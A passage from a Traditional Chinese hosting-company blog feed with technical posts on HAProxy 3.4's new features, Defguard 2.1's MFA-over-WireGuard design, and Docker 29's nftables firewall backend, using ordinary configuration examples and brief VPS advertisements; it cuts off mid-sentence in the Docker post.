status 200</span><br><span class="line"></span><br><span class="line">backend api-primary</span><br><span class="line">  server p1 10.0.1.20:8443 check healthcheck api-http</span><br><span class="line">  server p2 10.0.1.21:8443 check healthcheck api-http</span><br><span class="line"></span><br><span class="line">backend api-shadow</span><br><span class="line">  server s1 10.0.2.20:8443 check healthcheck api-http</span><br></pre></td></tr></table></figure><p>看起來只是語法糖，實際上把 health check 從「backend 屬性」升級成獨立資源，同一個 backend 裡不同 server 也能各自套不同的 healthcheck，這對混合部署（一組 HTTP&#x2F;2 pod、一組 HTTP&#x2F;1.1 legacy）的過渡期特別有用。健康檢查支援的協定也不只 HTTP——TCP、SMTP、Redis 檢查都能定義成 section 共用，這在跑 mail relay 或 Redis sentinel-less 拓撲時省下大量複製貼上。</p><p>Runtime API 也認得這些新 section，<code>show healthcheck</code> 可以列出目前所有已註冊的健康檢查定義，方便 controller 在 push config 前先確認 dependency 已就位。</p><h2 id="TLS-憑證壓縮不是新協定，是這一版才啟用預設"><a href="#TLS-憑證壓縮不是新協定，是這一版才啟用預設" class="headerlink" title="TLS 憑證壓縮不是新協定，是這一版才啟用預設"></a>TLS 憑證壓縮不是新協定，是這一版才啟用預設</h2><p>RFC 8879 定義的 TLS Certificate Compression 是 2020 年就標準化的東西，Chrome、Firefox 早就支援。HAProxy 3.4 之前要靠 patch OpenSSL 或改 config 打開，3.4 加了 <code>tune.ssl.certificate-compression</code> 全域指令，預設值 <code>auto</code> 會跟隨底層 TLS library 的設定。</p><p>證書壓縮的實務效益取決於憑證鏈長度。單張 Let’s Encrypt 憑證加 intermediate 大約 3–4 KB，壓縮後省下 1–1.5 KB。看起來不多，但這是 TLS handshake 第一個 flight 就得傳的資料，直接影響 initial congestion window 能不能一次塞完；在高延遲鏈路（跨洋、行動網路）上省下的 RTT 是實打實的。跑 QUIC 就更明顯，QUIC 的 CRYPTO frame 塞在 Initial packet 裡，MTU 一小就得多一次 flight。</p><p>3.4 預設走 <code>auto</code> 是務實的選擇——大部分場景直接受惠，少數需要精準控制 handshake 大小的（例如做低階網路除錯）可以顯式關掉。</p><h2 id="ACME-內建-dns-01-讓-wildcard-不用再多養一支-client"><a href="#ACME-內建-dns-01-讓-wildcard-不用再多養一支-client" class="headerlink" title="ACME 內建 dns-01 讓 wildcard 不用再多養一支 client"></a>ACME 內建 dns-01 讓 wildcard 不用再多養一支 client</h2><p>HAProxy 3.2 開始塞進內建 ACME client，但只支援 http-01 challenge。這代表 wildcard 憑證還是得靠外部 acme.sh、certbot 之類的工具，然後把檔案掛回 HAProxy 的 SSL crt list。3.4 補上 dns-01 challenge，配合新的 <code>challenge-ready</code> 指令告訴 HAProxy 怎麼確認 TXT record 已經全球生效：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">acme letsencrypt</span><br><span class="line">  directory https://acme-v02.api.letsencrypt.org/directory</span><br><span class="line">  account-key /etc/haproxy/acme/account.key</span><br><span class="line">  challenge dns-01</span><br><span class="line">  challenge-ready dns</span><br><span class="line">  dns-delay 30s</span><br><span class="line">  dns-timeout 5m</span><br></pre></td></tr></table></figure><p><code>challenge-ready dns</code> 的做法是 HAProxy 自己查權威 nameserver 直到看到 TXT record，避免了「DNS provider API 回報成功但實際 propagation 還沒完成」的競態。這比大部分 shell script 寫的 sleep 60 檢查邏輯可靠得多。</p><p>搭配另一個新引數 <code>ips</code>，SAN 欄位可以直接放 IP 位址（前提是 Let’s Encrypt 或其他 CA 支援 IP SAN，目前仍是有限支援），這對純用 IP 對外的 API gateway 是個小福音。</p><h2 id="QMux-是給特殊網路環境的實驗品，多數人不用管"><a href="#QMux-是給特殊網路環境的實驗品，多數人不用管" class="headerlink" title="QMux 是給特殊網路環境的實驗品，多數人不用管"></a>QMux 是給特殊網路環境的實驗品，多數人不用管</h2><p>3.4 引入的 QMux 常被誤會成「HAProxy 支援 QUIC 了」，但 HAProxy 早就支援 QUIC（前後端都有），QMux 是把 QUIC 的 stream 多工層抽出來，讓它可以跑在 TCP 之上而不是 UDP。</p><p>用途很窄：某些企業防火牆或雲環境把 UDP 全擋（QUIC 走 UDP 443），這時 QMux 讓 HTTP&#x2F;3 語意（多工、header compression、0-RTT resumption）可以退回到 TCP 傳輸。實驗性標記還在，需要 <code>expose-experimental-directives</code> 打開，而且必須顯式指定 <code>alpn h3</code>。除非明確知道自己在跟一個封鎖 UDP 的環境打交道，這個功能可以暫時忽略。</p><h2 id="該不該升級"><a href="#該不該升級" class="headerlink" title="該不該升級"></a>該不該升級</h2><p>3.4 是 LTS，支援期到 2028 年 Q2。從 3.2 或 3.3 升上來的動機夠強：Dynamic Backends 直接改變 orchestration 模型，healthcheck section 消掉一大堆重複設定，ACME dns-01 讓內建 ACME 真的能取代 acme.sh。從 2.x 系列跳的話得先看 deprecated 清單，<code>compression-direction</code> 這類舊指令要換成 <code>filter comp-req</code>／<code>filter comp-res</code>，OpenTracing 支援已經標定在 3.5 移除、要換 OpenTelemetry。</p><p>實務上建議先在 staging 用 3.4 跑一段時間，把 Runtime API 的 backend lifecycle 接進現有 deployment pipeline——這是 3.4 最有價值的地方，但也是需要重新設計運維流程的地方。不接 API 只當一般 reload 用的話，升級收益就剩證書壓縮跟 ACME dns-01 這兩塊。</p><p>想在臺灣機房部署 HAProxy 3.4 或其他反向代理／負載平衡架構的團隊，NCSE Network 的 VPS 產品線提供 Intel Gold CPU 加 NVMe SSD 的臺灣是方電訊機房節點，適合作為前端 LB 與內部服務池的落腳點；有 IP Transit 或多線路整合需求也可以直接聯繫規劃。</p>]]>
    </content>
    <id>https://blog.ncse.tw/haproxy-3-4-dynamic-backends-runtime-api-reload-free-acme-dns-01/</id>
    <link href="https://blog.ncse.tw/haproxy-3-4-dynamic-backends-runtime-api-reload-free-acme-dns-01/"/>
    <published>2026-09-05T12:30:00.000Z</published>
    <summary>HAProxy 3.4 讓 add backend、add server、publish backend 全部從 Runtime API 走，不用再靠 haproxy -sf 換行程；同一版還把 healthcheck 拉成可重用 section、內建 ACME 支援 dns-01、TLS 憑證壓縮跟 QMux 一次補上。本文拆解 reload-free 的實務走法、跟現行 CI/CD 對接的方式，以及為什麼證書壓縮不是新協定卻是這一版才啟用的預設。</summary>
    <title>HAProxy 3.4 把 backend 從設定檔搬到 Runtime API：reload 那條裂縫終於補起來，順便帶進 ACME dns-01 跟證書壓縮</title>
    <updated>2026-09-10T01:13:30.517Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="自架服務" scheme="https://blog.ncse.tw/tags/%E8%87%AA%E6%9E%B6%E6%9C%8D%E5%8B%99/"/>
    <category term="Defguard" scheme="https://blog.ncse.tw/tags/Defguard/"/>
    <category term="WireGuard" scheme="https://blog.ncse.tw/tags/WireGuard/"/>
    <category term="VPN" scheme="https://blog.ncse.tw/tags/VPN/"/>
    <category term="MFA" scheme="https://blog.ncse.tw/tags/MFA/"/>
    <category term="零信任" scheme="https://blog.ncse.tw/tags/%E9%9B%B6%E4%BF%A1%E4%BB%BB/"/>
    <content>
      <![CDATA[<p>WireGuard 從 2020 年 3 月進 Linux 5.6 主線以來，一直沒有原生的多因素驗證，也沒有 session 概念——它的驗證邏輯只有一件事：對方的公鑰在不在 peer 清單裡。這個極簡設計是它效能能碾壓 OpenVPN、程式碼可以壓在 4000 行以內的關鍵，也是這幾年想把它推進企業環境的人最常撞的牆。Defguard 2.1.0 在 2026 年 9 月 4 日釋出，把 MFA、SSO、以及新的裝置姿態驗證全部塞進 WireGuard 的資料層，做法是把預共享金鑰（PSK）當成可輪替的 session token 用——這個角度值得拆開來看。</p><p>Defguard 是用 Rust 寫的零信任遠端存取平臺，桌面端走 Tauri v2、伺服器端把身分、政策、閘道拆成三個獨立元件。它的取捨是死守 WireGuard 官方協定、把所有企業級功能包在上一層，讓底下的 kernel WireGuard 或 wireguard-go 完全不需要動。</p><h2 id="WireGuard-為什麼沒-MFA，以及這件事在實戰的成本"><a href="#WireGuard-為什麼沒-MFA，以及這件事在實戰的成本" class="headerlink" title="WireGuard 為什麼沒 MFA，以及這件事在實戰的成本"></a>WireGuard 為什麼沒 MFA，以及這件事在實戰的成本</h2><p>WireGuard 協定的每一次 handshake 都只做一件事：走 Noise IK 模式的靜態 ECDH，用雙方靜態公鑰配對算出共同秘密，MAC 驗過就給對方一組短期對稱金鑰。整個交握不用數位簽章、不用帳號密碼，也沒有任何挑戰響應——就算掛上 pre-shared key，也只是給對稱通道再疊一層抗量子的預混料，不改變授權模型。</p><p>這個設計拿去做點對點翻牆或家用 site-to-site 沒問題，但企業採用會踩到三個典型場景。第一個是筆電被偷：攻擊者只要能拿到 wg0.conf，vpn 就是他的，沒有第二道關卡。第二個是內部人員離職：管理者得手動把那把公鑰從所有 peer 檔案裡刪掉，稍有遺漏就是後門。第三個是合規要求——NIS2、ISO 27001、金融業內稽核，越來越多明文要求「所有遠端存取需經 MFA」，一把靜態公鑰過不了這條線。</p><p>過去業界的做法多半是繞路。Tailscale 用它的協調伺服器接 SSO，登入時發一次性設定，靠 client 幫忙擋住；NetBird 走同一條路，把身分驗證做在協調層，peer 表由中央推送。這兩條路的共同前提是：得用自家 client、自家協定去疊，不能拿標準 wg-quick 直接連。這個代價對於已經有既有 WireGuard 部署的組織來說並不小。</p><h2 id="Defguard-用-PSK-當-session-token-的巧思"><a href="#Defguard-用-PSK-當-session-token-的巧思" class="headerlink" title="Defguard 用 PSK 當 session token 的巧思"></a>Defguard 用 PSK 當 session token 的巧思</h2><p>Defguard 2.1 的做法直接得多。WireGuard 的每個 peer 除了公鑰外，本來就可以掛一組 pre-shared key，這是協定支援的欄位。Defguard 把這欄位重新利用成「授權票券」：MFA 通過前，Gateway 不會把 peer 塞進 wg 介面，也不會發 PSK；MFA 通過的當下，Core 產生一組新的 PSK，透過 Edge 這個對外代理下發給 client，同時把 peer + PSK 寫進 Gateway 的 wg 設定。</p><p>在使用者這端看到的是：桌面 client 按下連線，跳出 TOTP 或 WebAuthn 或生物辨識的驗證頁，過關之後 client 才真的建立 handshake。從 WireGuard 協定本身的角度看，這就是一次標準的 wg0 連線；差別在於這把 PSK 是動態的、每次 session 都不同。</p><p>登出的偵測是這個機制裡最巧的地方。WireGuard 是無狀態的，client 直接關筆電、拔網路，Gateway 這端沒有任何通知。Defguard 靠讀 wg 的 <code>latest handshake</code> 欄位來判斷——WireGuard 大約每 2 分鐘會做一次金鑰重協商（rekey），如果最新的 handshake 時間超過 3 分鐘沒動，Defguard 就把這個 peer 標記為已離線，刪掉 PSK、從 wg 介面移除 peer。下次要連回來，client 得重跑一次 MFA 流程。</p><p>這個設計的重點是：所有的驗證跟撤銷都做在 WireGuard 協定本身之外，但作用力落在 wg 介面上。底層 WireGuard 完全不需要改，也就自動繼承了它的效能、跨平臺、審計過的密碼學。跟那些把 auth 塞進協定本身、需要改 client 也改 server 的方案比，Defguard 這條路的相依性明顯低很多。</p><h2 id="三段式架構把管理平面藏在攻擊面之外"><a href="#三段式架構把管理平面藏在攻擊面之外" class="headerlink" title="三段式架構把管理平面藏在攻擊面之外"></a>三段式架構把管理平面藏在攻擊面之外</h2><p>Defguard 2.0 引進、2.1 補強的三段式架構是另一個值得注意的設計：Core、Edge、Gateway 三個元件各司其職。Core 管身分、政策、稽核紀錄——換句話說就是資料庫跟決策引擎，這一塊絕對不該直接曝在公網。Edge 是唯一對外暴露的元件，職責是幫 client 跟 Core 之間轉發已加密的驗證流量，同時處理 TLS 終結。Gateway 才是實際跑 WireGuard、把 peer 塞進 wg0 的地方，通常部署在被保護的網段裡。</p><p>這個切分方式的實務意義是：管理平面（Core）不需要有公網 IP，只要 Edge 能連得到 Core、Gateway 能連得到 Core 就夠了。攻擊者掃遍全網也找不到 Core，能打的只有 Edge——而 Edge 是刻意設計成薄薄的一層代理，攻擊面小、易於審計。這個切法跟 Cloudflare Access、Twingate、Google BeyondCorp 的架構本質上是同一套邏輯。</p><p>2.0 起 Core 跟 Edge 都內建 SSL 終結，不需要另外架 Nginx 或 Caddy 反代處理 TLS，也不用手動管憑證輪替。這件事對於中小型自架環境是實際的簡化——少一層元件就少一個要調的設定檔跟一個要監控的服務。</p><p>2.1 起也支援多顆 Gateway 跟多顆 Edge 部署，高可用性從 1.x 的「靠 keepalived 或前面架 LB」變成原生支援。對於跨機房或跨地區的部署，這條路乾淨很多。</p><h2 id="2-1-的裝置姿態驗證把零信任的一塊拼圖補上"><a href="#2-1-的裝置姿態驗證把零信任的一塊拼圖補上" class="headerlink" title="2.1 的裝置姿態驗證把零信任的一塊拼圖補上"></a>2.1 的裝置姿態驗證把零信任的一塊拼圖補上</h2><p>過去 Defguard 的驗證邏輯到 MFA 就結束了：使用者驗過了、裝置公鑰在清單裡，就放行。2.1 引進的 Device Posture Verification 把「這臺裝置本身安不安全」也拉進決策——client 每次連線前，會回報自己的作業系統版本、client 版本、系統更新狀態、防毒軟體是否啟用、磁碟是否加密、是否在 AD 網域裡等資訊，Core 比對政策後才決定放不放行。</p><p>實務意義很直接。典型攻擊路徑是：員工的個人筆電裝了 defguard client、驗證通過，但這臺筆電作業系統三個月沒更新、瀏覽器裝了不明擴充——一旦裝置被打，攻擊者就借用這個合法 tunnel 進內網。Device posture 讓管理者可以定義「作業系統 patch 落後超過 30 天禁止連線」「未啟用磁碟加密的裝置不能連生產環境」這類規則，把裝置本身的安全狀態接進決策。</p><p>這條路 CrowdStrike、Cloudflare WARP 已經走了幾年，商用產品也不便宜。Defguard 把它做進開源核心的意義是：自架 VPN 的組織不需要再另外買一套 EDR 端點政策管理才能達到同樣效果，對於已經有內部 IT 但預算不足以疊商用 zero-trust 平臺的中型組織尤其實用。政策以 location 為單位設定——「生產環境要嚴、測試網段可以寬鬆」這種常見需求可以直接落地，不需要多開好幾套 defguard instance。</p><h2 id="對照-Headscale-跟-NetBird，Defguard-該選在哪"><a href="#對照-Headscale-跟-NetBird，Defguard-該選在哪" class="headerlink" title="對照 Headscale 跟 NetBird，Defguard 該選在哪"></a>對照 Headscale 跟 NetBird，Defguard 該選在哪</h2><p>三套方案在自架 WireGuard 圈子裡常被拿來比較，但定位其實不太一樣。</p><p>Headscale 是 Tailscale 協調伺服器的開源重製，最大優勢是可以繼續用 Tailscale 官方 client，全平臺體驗一致，只是後端換成自架。缺點是它繼承了 Tailscale 的所有設計限制，MFA、SSO 得靠外掛，Web UI 幾乎沒有官方支援，適合已經用過 Tailscale、想把控制權拉回自家的人。</p><p>NetBird 是全自研路線，自己的 client、協調層、relay，BSD-3 授權。MFA 接在 OIDC 那邊，登入時驗過就放行，session 期間不再驗第二次。功能齊全但架構相對重，對中大型組織友善。</p><p>Defguard 的差異在於完全不動 WireGuard 協定、MFA 落在資料層（每次 tunnel 建立都要驗）、加上 device posture。對需要過稽核的組織是直接的合規武器——每次連線的驗證紀錄都在 log 裡，可以拿出來給稽核看。缺點是需要跑自家桌面 client，不能用 wg-quick 直接連（因為 wg-quick 不會跑 MFA）。</p><p>實用建議：想要 Tailscale 那種即開即用、對合規需求不高，選 Headscale；已經在跑 OIDC 生態、需要 SSO 但不介意架構重，選 NetBird；有合規需求、要每次連線都驗 MFA、又想把裝置安全狀態接進決策，Defguard 是這三者裡唯一能一次到位的。</p><h2 id="VPS-上部署-Defguard-該怎麼放"><a href="#VPS-上部署-Defguard-該怎麼放" class="headerlink" title="VPS 上部署 Defguard 該怎麼放"></a>VPS 上部署 Defguard 該怎麼放</h2><p>Core 不該對外曝 IP，乾淨的做法是在內部 VPS 或機房內主機跑 Core，透過內部網路連 Edge 跟 Gateway。Edge 放在有公網 IP 的 VPS 上，因為只做代理跟 TLS 終結，512MB 到 1GB 記憶體的小機器就夠用。Gateway 放在被保護網段邊界，如果整套系統就是要保護單一 VPS 上的服務，跟被保護的應用同機部署也可以。</p><p>WireGuard 對頻寬跟延遲都敏感，選 VPS 時要注意實體位置跟到使用者的 RTT。臺灣本地機房比起海外節點在跨海延遲上有 100 到 200ms 的優勢，在 tunnel 上疊 SSH、遠端桌面、資料庫連線這類互動式工作負載感覺很明顯。IP Transit 品質也直接影響體感，同樣是臺灣機房，接骨幹跟走家用線的 peering 差好幾倍。</p><p>Gateway 端建議跑 Linux kernel WireGuard 而不是 wireguard-go，前者在單顆現代 CPU 上可以吃到接近 10Gbps，後者只能推到 500Mbps 左右。Debian 12、Ubuntu 22.04 以上跟主流雲廠商的 Rocky Linux 9 都內建 kernel 支援，不需要另外編。</p><p>Defguard 2.1 免費層支援 10 個使用者、30 臺裝置，超過就得走商用授權。這條線中型組織要注意，也可以先停在 1.6.x 分支——支援到 2026 年 10 月 31 日，之後就沒有安全更新。</p><h2 id="結論：把-MFA-拉進資料層是自架-VPN-該走的下一步"><a href="#結論：把-MFA-拉進資料層是自架-VPN-該走的下一步" class="headerlink" title="結論：把 MFA 拉進資料層是自架 VPN 該走的下一步"></a>結論：把 MFA 拉進資料層是自架 VPN 該走的下一步</h2><p>WireGuard 協定本身極簡是它的優勢，也是它在企業採用上的天花板。Defguard 2.1 的取徑證明了一件事：不用動協定、不用改 client 底層，也能把 MFA 跟裝置姿態這些現代零信任的必備能力補完。對於在意合規、又不想把 VPN 送到 SaaS 廠商手上的組織，這是 2026 年開源選項裡最完整的一套。</p><p>NCSE Network 在臺灣是方電訊機房提供 VPS 主機服務，搭配 IP Transit 網路，適合部署 Defguard 這類需要低延遲、穩定連線的自架零信任閘道。若考慮把遠端存取架構從傳統 VPN 升級到零信任模式，可以參考 <a href="https://ncse.tw/">ncse.tw</a> 上的 VPS 與網路服務方案，把 Core、Edge、Gateway 三段式架構跑在同一個機房內的低延遲網段裡。</p>]]>
    </content>
    <id>https://blog.ncse.tw/defguard-2-1-wireguard-mfa-psk-rotation-device-posture-zero-trust/</id>
    <link href="https://blog.ncse.tw/defguard-2-1-wireguard-mfa-psk-rotation-device-posture-zero-trust/"/>
    <published>2026-09-04T14:00:00.000Z</published>
    <summary>Defguard 2.1 在 2026 年 9 月釋出，用預共享金鑰輪替把 MFA 塞進 WireGuard handshake、加上裝置姿態驗證。本文拆解 Core/Edge/Gateway 三段式架構、跟 Headscale/NetBird 的定位差別、以及 VPS 上該怎麼部署。</summary>
    <title>WireGuard 協定七年來沒有 MFA 這件事：Defguard 2.1 把預共享金鑰當 session token 輪替、順便把裝置姿態接進零信任閘道</title>
    <updated>2026-09-10T01:13:30.515Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="VPS" scheme="https://blog.ncse.tw/tags/VPS/"/>
    <category term="Docker" scheme="https://blog.ncse.tw/tags/Docker/"/>
    <category term="防火牆" scheme="https://blog.ncse.tw/tags/%E9%98%B2%E7%81%AB%E7%89%86/"/>
    <category term="nftables" scheme="https://blog.ncse.tw/tags/nftables/"/>
    <category term="系統管理" scheme="https://blog.ncse.tw/tags/%E7%B3%BB%E7%B5%B1%E7%AE%A1%E7%90%86/"/>
    <category term="容器" scheme="https://blog.ncse.tw/tags/%E5%AE%B9%E5%99%A8/"/>
    <content>
      <![CDATA[<p>Docker 29 在 2026 年 3 月釋出時，release notes 上把「nftables backend 進入實驗支援」寫成一句話，位置排在最低 API 版本抬升跟 containerd image store 變預設這兩則之後。半年過去，operator 圈子的反應集中在同一件事上：這條路線一啟用，<code>DOCKER-USER</code> 這條從 Docker 17 就存在、幾乎每一份「Docker 主機防火牆」教學都會教的 iptables chain 直接不見了。想繼續掛自訂規則，唯一的官方替代是新加的 <code>--bridge-accept-fwmark</code> 加自建 nftables base chain。</p><p>這件事跟 Docker 之前那些「舊命令會 deprecated 但還會活五年」的節奏完全不一樣。切換到 nftables backend 是明示行為，<code>iptables-nft</code> 那條相容層路徑其實已經跑得夠久了，但只要 daemon 走 iptables 就會沿用舊 chain。真正踩雷的是把 <code>firewall-backend</code> 手動改成 <code>nftables</code> 之後——iptables 那份規則會被清掉一部分、<code>DOCKER-USER</code> 的跳轉還會保留到重開機為止，之後就再也不加了。既有的 UFW 規則、<code>iptables -I DOCKER-USER</code> 開機腳本、部分基礎設施防火牆自動化工具，全部在這個切點失效。</p><h2 id="為什麼要重畫-firewall-backend-這條路線"><a href="#為什麼要重畫-firewall-backend-這條路線" class="headerlink" title="為什麼要重畫 firewall backend 這條路線"></a>為什麼要重畫 firewall backend 這條路線</h2><p>Docker 從第一天起就靠 iptables 開關容器網路。多年下來累積出的 chain 結構是 <code>DOCKER</code>、<code>DOCKER-ISOLATION-STAGE-1</code>、<code>DOCKER-ISOLATION-STAGE-2</code>、<code>DOCKER-USER</code>，其中 <code>DOCKER-USER</code> 是官方唯一保證「Docker 不會覆蓋」的插點，讓管理員能塞自己的規則進去做防火牆策略。這套結構撐了將近十年。</p><p>問題是，主流發行版早就把預設防火牆改成 nftables。Debian 10、Ubuntu 20.04、RHEL 8 都是 2019 到 2020 年就完成切換，<code>iptables</code> 這支指令實際上是 <code>iptables-nft</code> 相容層，把 iptables 語法翻譯成 nftables 規則寫進 kernel。這層翻譯多年下來累積出兩個問題：Docker 寫的規則跟 host 上其他 nftables 規則的優先序時常衝突、firewalld 的 direct interface 已經被官方標記 deprecated 且要移除。Docker 再堅持走 iptables 抽象，等於自願被綁在一個逐漸失去支援的 API 上。</p><p>Docker 29 給出的答案是拿掉中間人：daemon 直接呼叫 <code>nft</code> 指令寫規則、跟 host 的 nftables 世界一起共存。當前是實驗性的，官方講白了未來版本會反過來把 nftables 變預設、iptables backend 標記 deprecated，時程沒公開但方向確定。</p><h2 id="啟用之後-host-上的-table-長什麼樣"><a href="#啟用之後-host-上的-table-長什麼樣" class="headerlink" title="啟用之後 host 上的 table 長什麼樣"></a>啟用之後 host 上的 table 長什麼樣</h2><p>要開啟這條 backend，<code>/etc/docker/daemon.json</code> 加上一行：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;firewall-backend&quot;</span><span class="punctuation">:</span> <span class="string">&quot;nftables&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>重啟 <code>dockerd</code> 之後執行 <code>docker info | grep -i firewall</code> 應該回 <code>Firewall: nftables</code>。這時候用 <code>nft list ruleset</code> 掃一遍會看到兩張新表：<code>ip docker-bridges</code> 跟 <code>ip6 docker-bridges</code>，各自包一組 base chain。IPv4 那張表的結構長這樣（節錄）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">table ip docker-bridges &#123;</span><br><span class="line">    chain filter-forward &#123;</span><br><span class="line">        type filter hook forward priority filter; policy accept;</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">    chain nat-prerouting &#123;</span><br><span class="line">        type nat hook prerouting priority dstnat; policy accept;</span><br><span class="line">        fib daddr type local counter jump docker-bridge-nat-prerouting</span><br><span class="line">    &#125;</span><br><span class="line">    chain raw-prerouting &#123;</span><br><span class="line">        type filter hook prerouting priority raw; policy accept;</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>每建立一個 user-defined bridge network 會在這兩張表裡再插一組 chain，命名帶 network id 前綴。這跟舊 iptables 結構最大的差異是「命名 table」概念：Docker 完全擁有 <code>docker-bridges</code> 這兩張表，其他人不該碰。官方文件明確講「不要直接改 Docker 的 table，會在下次規則同步時被蓋掉」——這比 iptables 世代更嚴格。</p><p>順帶一提，<code>docker info</code> 底下如果看到 <code>Firewall: iptables (nft)</code>，那代表 backend 還是 iptables、只是 host 上的 iptables 走 nft 翻譯，跟 Docker 29 這條新路線是兩回事。這兩者很容易搞混。</p><h2 id="DOCKER-USER-消失之後，自訂規則掛在哪"><a href="#DOCKER-USER-消失之後，自訂規則掛在哪" class="headerlink" title="DOCKER-USER 消失之後，自訂規則掛在哪"></a>DOCKER-USER 消失之後，自訂規則掛在哪</h2><p>新的 nftables backend 沒有 <code>DOCKER-USER</code> 這條 chain。想在 forward 路徑上插自己的規則，做法是另開一張 table、掛在跟 Docker 相同的 hook 上、用 chain priority 排序。範例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">table ip my-filter &#123;</span><br><span class="line">    chain forward-in &#123;</span><br><span class="line">        type filter hook forward priority filter - 10; policy accept;</span><br><span class="line">        iifname &quot;eth0&quot; ip saddr != 203.0.113.0/24 counter drop</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>priority filter - 10</code> 表示這條 chain 比 Docker 的 filter chain 早跑，先擋、再放行 Docker 那份規則。如果要在 Docker 之後跑（例如記錄已經被 Docker 放行的封包），寫 <code>priority filter + 10</code>。這套機制比舊的 <code>DOCKER-USER</code> 靈活很多——同時掛多層規則、精確控制順序，但也逼管理員要理解 netfilter hook 跟 priority 的關係，門檻明顯高一階。</p><p>真正麻煩的是「放行」語意。iptables 世代在 <code>DOCKER-USER</code> 加 <code>-j ACCEPT</code> 就等於這條封包放行完成、其他 chain 不會再擋。nftables 世代不吃這一套：<code>accept</code> 動作只是離開當下這條 chain，同一個 hook 的其他 base chain 還是會照跑，Docker 那份規則裡如果有 <code>drop</code> 一樣會生效。</p><p>Docker 29 的解法是新增 <code>--bridge-accept-fwmark</code> 這個 daemon option。用法是：在自己那條較早跑的 chain 裡對封包打 fwmark，Docker 看到有這個 mark 就跳過 drop 規則直接放行。設定範例：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;firewall-backend&quot;</span><span class="punctuation">:</span> <span class="string">&quot;nftables&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;bridge-accept-fwmark&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0x1/0x1&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>搭配自己的規則：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">chain accept-trusted &#123;</span><br><span class="line">    type filter hook forward priority filter - 10; policy accept;</span><br><span class="line">    ip saddr 10.0.20.0/24 meta mark set 0x1</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>這種寫法一開始會覺得很繞，實際上是 nftables 世代處理「跨 chain 訊號傳遞」的標準做法。理解成本擺在這裡，遷移舊部署腳本就是逐條重寫，沒有捷徑。</p><h2 id="IP-forwarding-不再幫你打開，policy-DROP-也會出事"><a href="#IP-forwarding-不再幫你打開，policy-DROP-也會出事" class="headerlink" title="IP forwarding 不再幫你打開，policy&#x3D;DROP 也會出事"></a>IP forwarding 不再幫你打開，policy&#x3D;DROP 也會出事</h2><p>舊行為裡 Docker 啟動時會主動把 <code>net.ipv4.ip_forward</code> 設成 1。nftables backend 明確不做這件事——如果 bridge network 需要 forwarding 但 host 上沒開，daemon 直接報錯不啟動。官方文件強調這是刻意設計：多網卡 host 上自動打開 forwarding 是安全風險，Docker 不該替管理員做這個決定。</p><p>實務上補這一步很簡單，<code>/etc/sysctl.d/99-docker.conf</code> 加：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">net.ipv4.ip_forward = 1</span><br><span class="line">net.ipv6.conf.all.forwarding = 1</span><br></pre></td></tr></table></figure><p>比較容易漏的是 iptables <code>FORWARD</code> chain policy。如果 host 上原本用 <code>iptables -P FORWARD DROP</code> 加白名單這種寫法，nftables backend 放行的封包在離開 nftables 世界之後還是會被 iptables 的 legacy FORWARD 掛掉。這個交叉汙染的排查極痛，因為兩邊的規則掃描工具通常分開跑、<code>iptables -L</code> 跟 <code>nft list ruleset</code> 也不會互相引用。切換 backend 前把 <code>FORWARD</code> policy 改成 <code>ACCEPT</code>、把過濾邏輯全搬進 nftables，才是乾淨路徑。</p><h2 id="Swarm、direct-routing-這幾個目前不能用"><a href="#Swarm、direct-routing-這幾個目前不能用" class="headerlink" title="Swarm、direct routing 這幾個目前不能用"></a>Swarm、direct routing 這幾個目前不能用</h2><p>nftables backend 有一份明確的功能落後清單，遷移前要先確認自己的部署有沒有踩到。</p><p>Swarm 完全不支援。Docker 29 這一版的 overlay network 規則還沒從 iptables 搬過來，只要 daemon 進 Swarm mode，nftables backend 會拒絕啟用。官方講「未來版本會補」，但沒給時程。Compose + 單機 bridge 網路的 VPS 場景幾乎不受影響，Swarm cluster 就得整包等下一版。</p><p>Direct routing 有預設封鎖。舊行為裡，只要有辦法路由到 container IP，就能繞過 published port 直接連上容器。這在 host 有多張網卡、其中一張是 trusted 內網時是常用手法。nftables backend 預設在 <code>raw-prerouting</code> 這條 chain 直接 drop 這種直連封包，而且是在 <code>raw</code> 這麼早的 hook，fwmark 都來不及打。要打開得靠 network option 